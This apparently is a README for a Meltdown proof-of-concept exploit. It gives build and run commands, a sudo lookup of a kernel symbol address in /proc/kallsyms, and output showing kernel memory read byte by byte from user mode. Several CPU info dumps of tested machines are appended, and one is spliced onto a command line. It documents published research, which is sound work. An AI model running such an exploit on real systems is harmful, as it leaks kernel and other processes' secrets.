Speculative optimizations execute code in a non-secure manner leaving data traces in microarchitecture such as cache.
Refer to the paper by Lipp et. al 2017 for details: https://meltdownattack.com/meltdown.pdf.
Can only dump linux_proc_banner at the moment, since requires accessed memory
to be in cache and linux_proc_banner is cached on every read from
/proc/version. Might work with prefetch.
Build with make, run with ./run.sh.
Can't defeat KASLR yet, you will need to enter your password to find
linux_proc_banner in the /proc/kallsyms (or do it manually).
Flush+Reload and target array approach taken from spectre paper https://spectreattack.com/spectre.pdf implemented following clues from https://cyber.wtf/2017/07/28/negative-result-reading-kernel-memory-from-user-mode/.
Pandora's box is open.
Result:
$ make
cc -O0 -c -o meltdown.o meltdown.c
cc meltdown.o -o meltdown
$ ./run.sh
+ sudo awk /linux_proc_banner/ { print $1 } /proc/kallsyms
+ ./meltdown ffffffffa3e000a0 16
ffffffffa3e000a0 = %
ffffffffa3e000a1 = s
ffffffffa3e000a2 =
ffffffffa3e000a3 = v
ffffffffa3e000a4 = e
ffffffffa3e000a5 = r
ffffffffa3e000a6 = s
ffffffffa3e000a7 = )
ffffffffa3e000a8 = o
ffffffffa3e000a9 = f
ffffffffa3e000aa =
ffffffffa3e000ab =
ffffffffa3e000ac = s
ffffffffa3e000ad =
ffffffffa3e000ae = (
ffffffffa3e000af = b
ffffffffa3e000b0 = U
ffffffffa3e000b1 = i
ffffffffa3e000b2 = l
ffffffffa3e000b3 = d
ffffffffa3e000b4 = d
ffffffffa3e000b5 = @
If it compiles but fails with Illegal instruction then either your hardware
is very old or it is a VM. Try compiling with:
$ make CFLAGS=-DHAVE_RDTSCP=0 clean allprocessor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 158
model name : Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz
stepping : 9
microcode : 0x5e
cpu MHz : 3685.083
cache size : 6144 KB
physical id : 0
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 94
model name : Intel(R) Core(TM) i7-6700 CPU @ 3.40GHz
stepping : 3
microcode : 0x7c
cpu MHz : 3975.078
cache size : 8192 KB
physical id : 0
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 42
model name : Intel(R) Core(TM) i5-2410M CPU @ 2.30GHz
stepping : 7
microcode : 0x29
cpu MHz : 802.697
cache size : 3072 KB
physical id : 0
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 79
model name : Intel(R) Xeon(R) CPU E5-2650 v4 @ 2.20GHz
stepping : 1
microcode : 0x1
cpu MHz : 2199.998
cache size : 30720 KB
physical id : 0
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 69
model name : Intel(R) Core(TM) i3-4010U CPU @ 1.70GHz
stepping : 1
microcode : 0x16
cpu MHz : 800.062
cache size : 3072 KB
physical id : 0